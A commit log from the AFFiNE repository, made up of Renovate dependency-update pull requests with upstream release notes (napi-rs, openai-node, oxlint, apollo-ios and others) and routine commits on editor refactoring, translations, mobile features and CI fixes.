### [`v3.0.0-alpha.26`](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.25...napi@3.0.0-alpha.26)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.25...napi@3.0.0-alpha.26)

### [`v3.0.0-alpha.25`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.25)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.24...napi@3.0.0-alpha.25)

#### What's Changed

-   perf(napi): JsStringUtf8 take & into_owned & as_str fn by [@&#8203;SyMind](https://redirect.github.com/SyMind) in [https://github.com/napi-rs/napi-rs/pull/2404](https://redirect.github.com/napi-rs/napi-rs/pull/2404)
-   refactor!(napi): arguments tuple behavior by [@&#8203;adespawn](https://redirect.github.com/adespawn) in [https://github.com/napi-rs/napi-rs/pull/2401](https://redirect.github.com/napi-rs/napi-rs/pull/2401)
-   fix(napi): Function call with empty tuple should generate empty arguments by [@&#8203;richerfu](https://redirect.github.com/richerfu) in [https://github.com/napi-rs/napi-rs/pull/2407](https://redirect.github.com/napi-rs/napi-rs/pull/2407)
-   feat(napi): add get and try_get for FunctionCallContext by [@&#8203;richerfu](https://redirect.github.com/richerfu) in [https://github.com/napi-rs/napi-rs/pull/2409](https://redirect.github.com/napi-rs/napi-rs/pull/2409)
-   feat(napi): impl ReadableStream and AsyncGenerator by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2418](https://redirect.github.com/napi-rs/napi-rs/pull/2418)

#### New Contributors

-   [@&#8203;ganthern](https://redirect.github.com/ganthern) made their first contribution in [https://github.com/napi-rs/napi-rs/pull/2402](https://redirect.github.com/napi-rs/napi-rs/pull/2402)
-   [@&#8203;lghuahua](https://redirect.github.com/lghuahua) made their first contribution in [https://github.com/napi-rs/napi-rs/pull/2416](https://redirect.github.com/napi-rs/napi-rs/pull/2416)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.23...napi@3.0.0-alpha.25

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.77.4`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4774-2025-01-08)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.77.3...v4.77.4)

Full Changelog: [v4.77.3...v4.77.4](https://redirect.github.com/openai/openai-node/compare/v4.77.3...v4.77.4)

##### Documentation

-   **readme:** fix misplaced period ([#&#8203;1252](https://redirect.github.com/openai/openai-node/issues/1252)) ([c2fe465](https://redirect.github.com/openai/openai-node/commit/c2fe46522d59d1611ba8bb2b7e070f9be7264df0))

### [`v4.77.3`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4773-2025-01-03)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.77.0...v4.77.3)

Full Changelog: [v4.77.2...v4.77.3](https://redirect.github.com/openai/openai-node/compare/v4.77.2...v4.77.3)

##### Chores

-   **api:** bump spec version ([#&#8203;1248](https://redirect.github.com/openai/openai-node/issues/1248)) ([37b3df9](https://redirect.github.com/openai/openai-node/commit/37b3df9ac6af76fea6eace8307aab9f0565e5660))

</details>

<details>
<summary>serde-rs/json (serde_json)</summary>

### [`v1.0.135`](https://redirect.github.com/serde-rs/json/releases/tag/v1.0.135)

[Compare Source](https://redirect.github.com/serde-rs/json/compare/v1.0.134...v1.0.135)

-   Add serde_json::Map::into_values method ([#&#8203;1226](https://redirect.github.com/serde-rs/json/issues/1226), thanks [@&#8203;tisonkun](https://redirect.github.com/tisonkun))

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v1.26.1`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.26.1)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.26.0...v1.26.1)

#####    🐞 Bug Fixes

-   **shiki**: Missing language alias file, fix [#&#8203;883](https://redirect.github.com/shikijs/shiki/issues/883)  -  by [@&#8203;antfu](https://redirect.github.com/antfu) in [https://github.com/shikijs/shiki/issues/883](https://redirect.github.com/shikijs/shiki/issues/883) [<samp>(5766b)</

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44NS4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-09 01:09:08 +00:00
Saul-Mirone 3683297ccf feat(editor): add feature flag service (#9592) 2025-01-08 15:46:31 +00:00
Brooooooklyn fd26b72255 fix(server): disable winston in seflhost instance (#9585) 2025-01-08 14:47:42 +00:00
Saul-Mirone 5842d45ab1 feat(editor): merge store and blocks (#9591) 2025-01-08 13:01:19 +00:00
L-Sun a0cba55a5b feat(mobile): mobile toc menu (#9582)
Close [BS-1787](https://linear.app/affine-design/issue/BS-1787/toc-移动端适配)
2025-01-08 08:03:11 +00:00
Saul-Mirone fe727412be feat(editor): add editor store (#9584) 2025-01-08 07:47:43 +00:00
forehalo 0554df6bc2 fix(electron): filename escape (#9583) 2025-01-08 07:31:09 +00:00
pengx17 a4841bbfa3 feat(core): drop doc onto split view (#9487)
fix AF-2068, AF-2069, AF-1175, AF-2061, AF-2079, AF-2034, AF-2080, AF-1960, AF-2081

1. replace `dnd-kit` with `@atlaskit/pragmatic-drag-and-drop`
2. allow creating split views by drag & drop the following
   a. WorkbenchLinks (route links), like journals, trash, all docs
   b. doc refs
   c. tags/collection
3. style adjustments to split view
4. remove split view's feature flag and make it GA for electron

https://github.com/user-attachments/assets/6a3e4a25-faa2-4215-8eb0-983f44db6e8c
2025-01-08 05:05:33 +00:00
forehalo c0ed74dfed chore: standardize tsconfig (#9568) 2025-01-08 04:07:56 +00:00
Brooooooklyn 39f4b17315 ci: fix android release pipeline (#9574) 2025-01-07 12:46:02 +00:00
fourdim ebaceb481d fix(editor): enumerate ancestors (#9540) 2025-01-07 11:40:10 +00:00
L-Sun 440239809c refactor(editor): refactor page note empty checker (#9570)
Close [BS-2320](https://linear.app/affine-design/issue/BS-2320/内容为空的状态判断)
2025-01-07 11:24:40 +00:00
Brooooooklyn 482b534a90 chore(server): setup winston logger (#9561)
There is no impact on the existing logger, as the current logger is used with `new Logger(Context)` and does not utilize dependency injection. In the next phase, gradually replace and supplement the existing `Logger`.
2025-01-07 09:15:08 +00:00
Saul-Mirone 5e51018c03 fix(editor): remove ts ignore (#9567) 2025-01-07 08:48:05 +00:00
Brooooooklyn 474b01aad7 ci: pin xcode-version to 16.1 (#9564) 2025-01-07 06:26:11 +00:00
Saul-Mirone 26fb9d148c chore: remove awareness sync since it's not used (#9563) 2025-01-07 06:12:08 +00:00
Saul-Mirone 0d2eb64817 chore: move page not found error out of constants (#9547) 2025-01-07 05:57:38 +00:00
Brooooooklyn df6a6ac392 ci: fix android build (#9558) 2025-01-07 05:42:09 +00:00
L-Sun 6e0468c70a chore(editor): revert padding and layout of code block toolbar (#9562)
Close [BS-1767](https://linear.app/affine-design/issue/BS-1767/code-block调整边距)

This PR reverts padding and layout of code block toolbar.

![CleanShot 2025-01-07 at 12.39.37@2x.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/MyRfgiN4RuBxJfrza3SG/7f278d03-40c4-4592-a844-77a5179149fd.png)
2025-01-07 04:53:04 +00:00
L-Sun ded17abf7e fix(editor): add childElementIds to ai generated frame (#9537)
Close [BS-1354](https://linear.app/affine-design/issue/BS-1354/更新-ai-slide-template-到新的-frame)

This PR add `childElementIds` to frame block in ai presentation templates
2025-01-07 04:19:09 +00:00
donteatfriedrice 52f2e8d5d5 refactor(editor): surface markdown adapter extensionalize (#9560)
[BS-2212](https://linear.app/affine-design/issue/BS-2212/adapter-extension化修复)
2025-01-07 03:14:08 +00:00
donteatfriedrice 69e9aa087e refactor(editor): extract mix-text adapter to shared (#9559) 2025-01-07 03:14:07 +00:00
fundon 69e73af2a8 refactor(editor): add native clipboard extension (#9502)
Closes: [BS-2239](https://linear.app/affine-design/issue/BS-2239/不应该通过window注入affine的api)
2025-01-06 15:36:43 +00:00
Saul-Mirone f778d1a28a refactor(editor): move extension to store (#9552) 2025-01-06 15:15:14 +00:00
EYHN 46c8c4a408 feat(nbstore): improve nbstore (#9512) 2025-01-06 09:38:04 +00:00
EYHN a2563d2180 feat(i18n): add uk i18n (#9530) 2025-01-06 09:23:03 +00:00
Saul-Mirone 36d027ae4b fix(editor): remote selection refresh rate (#9543)
Closes: [BS-2307](https://linear.app/affine-design/issue/BS-2307/%E7%90%86%E8%AE%BA%E4%B8%8A%E5%85%89%E6%A0%87%E5%BA%94%E8%AF%A5%E4%B8%8D%E6%B6%88%E5%A4%B1%EF%BC%8C%E4%B8%80%E7%9B%B4%E6%98%BE%E7%A4%BA)
2025-01-06 09:09:00 +00:00
EYHN 7514ccd452 feat(ios): add apis for native (#9536) 2025-01-06 08:20:31 +00:00
donqu1xotevincent f8771aa053 docs: update README.md (#9542) 2025-01-06 15:18:15 +08:00
donteatfriedrice 09c7a597be fix(core): should focus when clicking sidebar button (#9339) 2025-01-06 04:09:01 +00:00
Saul-Mirone fc863e484c refactor(editor): remove selection global types (#9532)
Closes: [BS-2217](https://linear.app/affine-design/issue/BS-2217/remove-global-types-in-selection)
2025-01-06 03:45:11 +00:00
EYHN 8669936f2f feat(i18n): i18n Localization and translations for Farsi (fa) 🇮🇷 (#9533)
Co-authored-by: Mahyar Riazati <mr.riazati1999@gmail.com>
2025-01-06 03:28:57 +00:00
CatsJuice 09937a8e4d chore: bump icons with new design source (#9529) 2025-01-06 03:10:03 +00:00
Saul-Mirone c22804766d chore(editor): remove common utils in surface block (#9527) 2025-01-06 02:41:39 +00:00
Saul-Mirone 3d168ba2d2 refactor(editor): reorg code structure of store package (#9525) 2025-01-05 12:49:02 +00:00
Saul-Mirone 1180e9bc15 refactor(editor): move workspace meta to affine (#9524) 2025-01-05 06:49:31 +00:00
Saul-Mirone be0de6dc21 refactor(editor): remove legacy blocksuite doc (#9521) 2025-01-05 01:25:59 +00:00
github-actions[bot] 1f1997a082 chore(i18n): sync translations (#9520)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-01-04 13:19:51 +00:00
Saul-Mirone c773982ced refactor(editor): rename store api (#9518) 2025-01-04 12:51:56 +00:00
EYHN 650e4fb6b2 chore(i18n): i18n auto codegen (#9516) 2025-01-04 12:32:21 +00:00
Saul-Mirone dcf4993265 refactor(core): move block collection to affine and implement as doc (#9514) 2025-01-04 06:28:55 +00:00
github-actions[bot] 4cb186def2 chore(i18n): sync translations (#9513)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
2025-01-04 11:06:49 +08:00
github-actions[bot] 0b9afdb696 chore(i18n): sync translations (#9499)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
2025-01-03 15:55:39 +00:00
Saul-Mirone 4457cb7266 refactor(editor): rename doc to blocks (#9510) 2025-01-03 12:49:33 +00:00
Flrande 2074bda8ff fix(editor): at menu position in split view (#9500) 2025-01-03 12:20:31 +00:00
Saul-Mirone b17dac2201 fix(editor): block selection error when unloaded (#9511)
Closes: [BS-2305](https://linear.app/affine-design/issue/BS-2305/typeerror-thisblock-is-null)
2025-01-03 10:09:02 +00:00
Saul-Mirone ee5f13cd03 fix(editor): surface ref find element error (#9508) 2025-01-03 09:55:00 +00:00
Saul-Mirone 51b109ee53 chore(editor): move legacy doc collection to test workspace (#9507) 2025-01-03 09:40:33 +00:00
Saul-Mirone cfd64f1fa5 refactor(core): move workspace implementation to affine (#9504) 2025-01-03 08:13:57 +00:00
Saul-Mirone 897c7d4284 refactor(editor): should not rely on doc collection type (#9501) 2025-01-03 06:30:27 +00:00
doouding cb5d7eaabc feat: add scroll wheel zoom setting (#9476)
### Changed
Add `scroll wheel to zoom` setting option, when the option enables, user can zoom in and out with scroll wheel without pressing the cmd/ctrl key.
2025-01-03 06:09:10 +00:00
Saul-Mirone 0699205721 chore(editor): move helper to playground (#9498) 2025-01-03 04:23:59 +00:00
doouding a4e94ab72f feat: add shortcut of zooming to selection (#9447)
### Changed
- change edgeless shortcut `cmd + 0`, `cmd + 1` to `alt + 0`, `alt + 1`
- add new shortcut `alt + 2` to zoom to currently selected elements
2025-01-03 03:57:05 +00:00
Saul-Mirone 30a181da38 refactor(editor): move mini mindmap to ai module (#9497) 2025-01-03 03:34:56 +00:00
doodlewind cbc84ff672 fix(editor): blur in edgeless content zooming (#9496)
Fix [BS-2294](https://linear.app/affine-design/issue/BS-2294/edgeless-%E7%BC%A9%E6%94%BE%E5%AD%97%E5%8F%B7%E6%A8%A1%E7%B3%8A)
2025-01-03 02:36:57 +00:00
Saul-Mirone 8b6c81f76d refactor(editor): reduce dependency to doc collection (#9492) 2025-01-03 01:59:25 +00:00
renovate eb15b3cb39 chore: bump up oxlint version to v0.15.5 (#9491)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.4` -> `0.15.5`](https://renovatebot.com/diffs/npm/oxlint/0.15.4/0.15.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.4/0.15.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.4/0.15.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.5`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.5): oxlint v0.15.5

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.4...oxlint_v0.15.5)

#### \[0.15.5] - 2025-01-02

##### Features

-   [`0e168b8`](https://redirect.github.com/oxc-project/oxc/commit/0e168b8) linter: Catch more cases in const-comparisons ([#&#8203;8215](https://redirect.github.com/oxc-project/oxc/issues/8215)) (Cameron)
-   [`bde44a3`](https://redirect.github.com/oxc-project/oxc/commit/bde44a3) linter: Add `statement_span` to `ModuleRecord/ImportEntry` ([#&#8203;8195](https://redirect.github.com/oxc-project/oxc/issues/8195)) (Alexander S.)
-   [`ccaa9f7`](https://redirect.github.com/oxc-project/oxc/commit/ccaa9f7) linter: Implement `eslint/new-cap`  ([#&#8203;8146](https://redirect.github.com/oxc-project/oxc/issues/8146)) (Alexander S.)

##### Bug Fixes

-   [`2b14a6f`](https://redirect.github.com/oxc-project/oxc/commit/2b14a6f) linter: Fix `ignorePattern` config for windows  ([#&#8203;8214](https://redirect.github.com/oxc-project/oxc/issues/8214)) (Alexander S.)

##### Testing

-   [`cb709c9`](https://redirect.github.com/oxc-project/oxc/commit/cb709c9) linter: Fix some oxlint tests on windows ([#&#8203;8204](https://redirect.github.com/oxc-project/oxc/issues/8204)) (Cameron)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44NS4wIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-02 12:36:04 +00:00
renovate 93c8afd10d chore: bump up apollographql/apollo-ios version to from: "1.15.3" (#9486)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios) | minor | `from: "1.0.0"` -> `from: "1.15.3"` |

---

### Release Notes

<details>
<summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary>

### [`v1.15.3`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1153)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.15.2...1.15.3)

##### Improvements

-   **Stable sort schema types for SchemaMetadata ([#&#8203;514](https://redirect.github.com/apollographql/apollo-ios-dev/pull/514)):** *Thank you to [@&#8203;asmundg](https://redirect.github.com/asmundg) for the contribution.*

##### Fixed

-   **Fix multipart delimter boundary parsing ([#&#8203;502](https://redirect.github.com/apollographql/apollo-ios-dev/pull/502)):** The multipart message parsing code was not splitting message chunks at the correct boundary when the dash boundary was present in the message body.
-   **Fix Websocket error broadcast for unsubscribed ID ([#&#8203;506](https://redirect.github.com/apollographql/apollo-ios-dev/pull/506))** Only broadcast an error to all subscribers if there was no id field in the message.
-   **Fix bug with `AnyHashable` coercion for non-iOS platforms ([#&#8203;517](https://redirect.github.com/apollographql/apollo-ios-dev/pull/517)):** Extended the \_AnyHashableCanBeCoerced check to include macOS, watchOS, and tvOS with their respective minimum versions. *Thank you to [@&#8203;VMLe](https://redirect.github.com/VMLe) for the fix.*
-   **Fix assigning websocket callback queue before connecting ([#&#8203;529](https://redirect.github.com/apollographql/apollo-ios-dev/pull/529)):** Fixed a race condition with the callback queue assignment during an unstable connection.
-   **Fix `GraphQLOperation` hash uniqueness ([#&#8203;530](https://redirect.github.com/apollographql/apollo-ios-dev/pull/530)):** Adding uniqueness to GraphQLOperation hashing.

### [`v1.15.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1152)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.15.1...1.15.2)

##### Improvements

-   **Set `URLRequest` cache policy on GET requests ([#&#8203;476](https://redirect.github.com/apollographql/apollo-ios-dev/pull/476)):** Uses the Apollo cache policy to set a comparable cache policy on `URLRequest`. Previously there was no way to opt-out of default `URLRequest` caching behaviour.
-   **Batch writing records to the SQLite store ([#&#8203;498](https://redirect.github.com/apollographql/apollo-ios-dev/pull/498)):** Uses the `insertMany` to batch write records for a given operation vs previously performing a write for each individual record.

##### Fixed

-   **Fix `ListData` type check ([#&#8203;473](https://redirect.github.com/apollographql/apollo-ios-dev/pull/473)):** Fixed bool type check in `ListData`.
-   **Remove local cache mutation type condition setter ([#&#8203;485](https://redirect.github.com/apollographql/apollo-ios-dev/pull/485)):** Removes the setter for mutable inline fragments. The correct way to initialize with a type condition is to use `asRootEntityType`.

### [`v1.15.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1151)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.15.0...1.15.1)

##### Fixed

-   **Fix decoding of deprecated `selectionSetInitializer` option `localCacheMutations` ([#&#8203;467](https://redirect.github.com/apollographql/apollo-ios-dev/pull/467)):** This option was deprecated in `1.15.0`, and the removal of the code to parse the option resulted in a validation error when the deprecated option was present in the JSON code generation config file. This is now fixed so that the option is ignored but does not cause code generation to fail.
-   **Disfavour deprecated watch function ([#&#8203;469](https://redirect.github.com/apollographql/apollo-ios-dev/pull/469)):** A deprecated version of the `watch` function matched the overload of the current version if certain parameters were omitted. This caused an incorrect deprecation warning in this situation. We've fixed this by adding `@_disfavoredOverload` to the deprecated function signature.

### [`v1.15.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1150)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.14.1...1.15.0)

##### New

-   **Add ability to disable fragment field merging ([#&#8203;431](https://redirect.github.com/apollographql/apollo-ios-dev/pull/431)):** Added `ApolloCodegenConfiguration` option to allow for disabling fragment field merging on generated models. For more information on this feature see the notes [here](https://redirect.github.com/apollographql/apollo-ios/releases/tag/preview-field-merging.1).

##### Fixed

-   **Fix `legacyResponse` property not being set on `HTTPResponse` ([#&#8203;456](https://redirect.github.com/apollographql/apollo-ios-dev/pull/456)):** When the `legacyResponse` property of `HTTPResponse` was deprecated setting the value was also removed; this was incorrect as it created a hidden breaking change for interceptors that might have been using the value.
-   **Fix `ObjectData` type check ([#&#8203;459](https://redirect.github.com/apollographql/apollo-ios-dev/pull/459)):** Fixed bool type check in `ObjectData`.
-   **Fix `SelectionSetTemplate` scope comparison ([#&#8203;460](https://redirect.github.com/apollographql/apollo-ios-dev/pull/460)):** Refactored the selection set template scope comparison to account for an edge case in merged sources.
-   **Fix memory leak in DataLoader closure ([#&#8203;457](https://redirect.github.com/apollographql/apollo-ios-dev/pull/457)):** Fixed a memory leak in the DataLoader closure in `ApolloStore` caused by implicit use of `self`. *Thank you to [@&#8203;prabhuamol](https://redirect.github.com/prabhuamol) for finding and fixing this.*

##### Breaking

-   **Bug Fix: Generated Selections Sets in Inclusion Condition Scope:** This fixes a bug when using @&#8203;include/[@&#8203;skip](https://redirect.github.com/skip) where generated models that should have been generated inside of a conditional inline fragment were generated outside of the conditional scope. This may cause breaking changes for a small number of users. Those breaking changes are considered a bug fix since accessing the conditional inline fragments outside of the conditional scope could cause runtime crashes (if the conditions for their inclusion were not met). More information [here](https://redirect.github.com/apollographql/apollo-ios/releases/tag/preview-field-merging.1)

### [`v1.14.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1141)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.14.0...1.14.1)

##### New

-   **Ability to set the journal mode on sqlite cache databases ([#&#8203;3399](https://redirect.github.com/apollographql/apollo-ios/issues/3399)):** There is now a function to set the journal mode of the connected sqlite database and control how the journal file is stored and processed. See PR [#&#8203;443](https://redirect.github.com/apollographql/apollo-ios-dev/pull/443). *Thanks to [@&#8203;pixelmatrix](https://redirect.github.com/pixelmatrix) for the feature request.*

##### Fixed

-   **Fix crash when `GraphQLError` is “too many validation errors”" ([#&#8203;438](https://redirect.github.com/apollographql/apollo-ios-dev/pull/438)):** When a GraphQLError from the JS parsing step is a “Too many validation errors” error, there is no `source` in the error object. Codegen will now check for it to avoid this edge case crash.
-   **Cache write interceptor should gracefully handle missing cache records ([#&#8203;439](https://redirect.github.com/apollographql/apollo-ios-dev/pull/439)):** The work to support the `@defer` directive introduced a bug where the cache write interceptor would throw if no cache records were returned during response parsing. This is incorrect as there are no cache records in the case of an `errors` only GraphQL response.
-   **Avoid using `fatalError` on `JSONEncodable` ([#&#8203;128](https://redirect.github.com/apollographql/apollo-ios-dev/pull/128)):** The fatal error logic in `JSONEncodable` was replaced with a type constraint `where` clause. *Thank you to [@&#8203;arnauddorgans](https://redirect.github.com/arnauddorgans) for the contribution.*
-   **Introspection-based schema download creates duplicate `@defer` directive definition ([#&#8203;3417](https://redirect.github.com/apollographql/apollo-ios/issues/3417)):** The codegen engine can now correctly detect pre-existing `@defer` directive definitions in introspection sources and prevent the duplicate definition. See PR [#&#8203;440](https://redirect.github.com/apollographql/apollo-ios-dev/pull/440). *Thanks to [@&#8203;loganblevins](https://redirect.github.com/loganblevins) for reporting the issue.*

### [`v1.14.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1140)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.13.0...1.14.0)

##### New

-   **Experimental support for the `@defer` directive:** You can now use the `@defer` directive in your operations and code generation will generate models that support asynchronously receiving the deferred selection sets. There is a helpful property wrapper with a projected value to determine the state of the deferred selection set, and support for cache reads and writes. This feature is enabled by default but is considered [experimental](https://www.apollographql.com/docs/resources/product-launch-stages/#experimental-features). Please refer to the [documentation](https://www.apollographql.com/docs/ios/fetching/defer/) for further details.
-   **Add `debugDescription` to `SelectionSet` ([#&#8203;3374](https://redirect.github.com/apollographql/apollo-ios/issues/3374)):** This adds the ability to easily print code generated models to the Xcode debugger console. See PR [#&#8203;412](https://redirect.github.com/apollographql/apollo-ios-dev/pull/412). *Thanks to [@&#8203;raymondk-nf](https://redirect.github.com/raymondk-nf) for raising the issue.*
-   **Xcode 16 editor config files ([#&#8203;3404](https://redirect.github.com/apollographql/apollo-ios/issues/3404)):** Xcode 16 introduced support for `.editorconfig` files that represent settings like spaces vs. tabs, how many spaces per tab, etc. We've added a `.editorconfig` file with the projects preferred settings, so that the editor will use them automatically. See PR [#&#8203;419](https://redirect.github.com/apollographql/apollo-ios-dev/pull/419). *Thanks to [@&#8203;TizianoCoroneo](https://redirect.github.com/TizianoCoroneo) for raising the issue.*

##### Fixed

-   **Local cache mutation build error in Swift 6 ([#&#8203;3398](https://redirect.github.com/apollographql/apollo-ios/issues/3398)):** Mutating a property of a fragment annotated with the `@apollo_client_ios_localCacheMutation` directive caused a compile time error in Xcode 16 with Swift 6. See PR [#&#8203;417](https://redirect.github.com/apollographql/apollo-ios-dev/pull/417). *Thanks to [@&#8203;martin-muller](https://redirect.github.com/martin-muller) for raising the issue.*

### [`v1.13.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1130)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.12.2...1.13.0)

##### New

-   **Added `ExistentialAny` requirement ([#&#8203;379](https://redirect.github.com/apollographql/apollo-ios-dev/pull/379)):** This adds the `-enable-upcoming-feature ExistentialAny` to all targets to ensure compatibility with the upcoming Swift feature.
-   **Schema type renaming ([#&#8203;388](https://redirect.github.com/apollographql/apollo-ios-dev/pull/388)):** This adds the feature to allow customizing the names of schema types in Swift generated code.
-   **JSONConverter helper ([#&#8203;380](https://redirect.github.com/apollographql/apollo-ios-dev/pull/380)):** This adds a new helper class for handling JSON conversion of data including the ability to convert `SelectionSet` instances to JSON.

##### Fixed

-   **ApolloSQLite build error with Xcode 16 ([#&#8203;386](https://redirect.github.com/apollographql/apollo-ios-dev/pull/386)):** This fixes a naming conflict with Foundation in iOS 18 and the SQLite library. *Thanks to [@&#8203;rastersize](https://redirect.github.com/rastersize) for the contributon.*

### [`v1.12.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1122)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.12.1...1.12.2)

##### Fixed

-   **Rebuilt the CLI binary with the correct version number:** The CLI binary included in the `1.12.1` package was built with an incorrect version number causing a version mismatch when attempting to execute code generation.

### [`v1.12.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1121)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.12.0...1.12.1)

##### Fixed

-   **Rebuilt the CLI binary:** The CLI binary included in the `1.12.0` package was built with inconsistent SDK versions resulting in the linker signing not working correctly.

### [`v1.12.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1120)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.11.0...1.12.0)

##### New

-   **`ID` as a custom scalar ([#&#8203;3379](https://redirect.github.com/apollographql/apollo-ios/issues/3379)):** This changes the generation of the built-in GraphQL `ID` scalar to be treated as a custom scalar that can be modified by the user. See PR [#&#8203;363](https://redirect.github.com/apollographql/apollo-ios-dev/pull/363).

##### Fixed

-   **Adds visionOS deployment to ApolloTestSupport podspec ([#&#8203;364](https://redirect.github.com/apollographql/apollo-ios-dev/pull/364)):** This adds the `visionOS` deployment target to the ApolloTestSupport podspec to match the other package managers.
-   **Add `@_spi(Execution)` to executor for import in test mocks ([#&#8203;362](https://redirect.github.com/apollographql/apollo-ios-dev/pull/362)):** This replaces the use of `@testable` in ApolloTestSupport with specific `@_spi` scopes. This resolves a few issues that have been reported where the Apollo module could not be built for testing in non-debug configurations.

### [`v1.11.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1110)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.10.0...1.11.0)

##### New

-   **Added `refetchOnFailedUpdates` option to `GraphQLQueryWatcher` ([#&#8203;347](https://redirect.github.com/apollographql/apollo-ios/pull/347)):** This allows you to configure the query watcher not to refetch it's query from the server when a cache read to update it's data fails.

##### Fixed

-   **Generated input objects have default `nil` value for parameters with a schema-defined default value ([#&#8203;2997](https://redirect.github.com/apollographql/apollo-ios/issues/2997)):** When the schema defines a default value for an input parameter, you can now omit that parameter when initializing the input object and the default value will be used. This corrects feature parity with the Apollo Kotlin client. See PR [#&#8203;358](https://redirect.github.com/apollographql/apollo-ios-dev/pull/358).

-   **Fix namespacing error in `InterfaceTemplate` ([#&#8203;3375](https://redirect.github.com/apollographql/apollo-ios/issues/3375)):** This fixes an issue where having a schema type named `Interface` caused compilation errors in generated code. See PR [#&#8203;359](https://redirect.github.com/apollographql/apollo-ios-dev/pull/359).

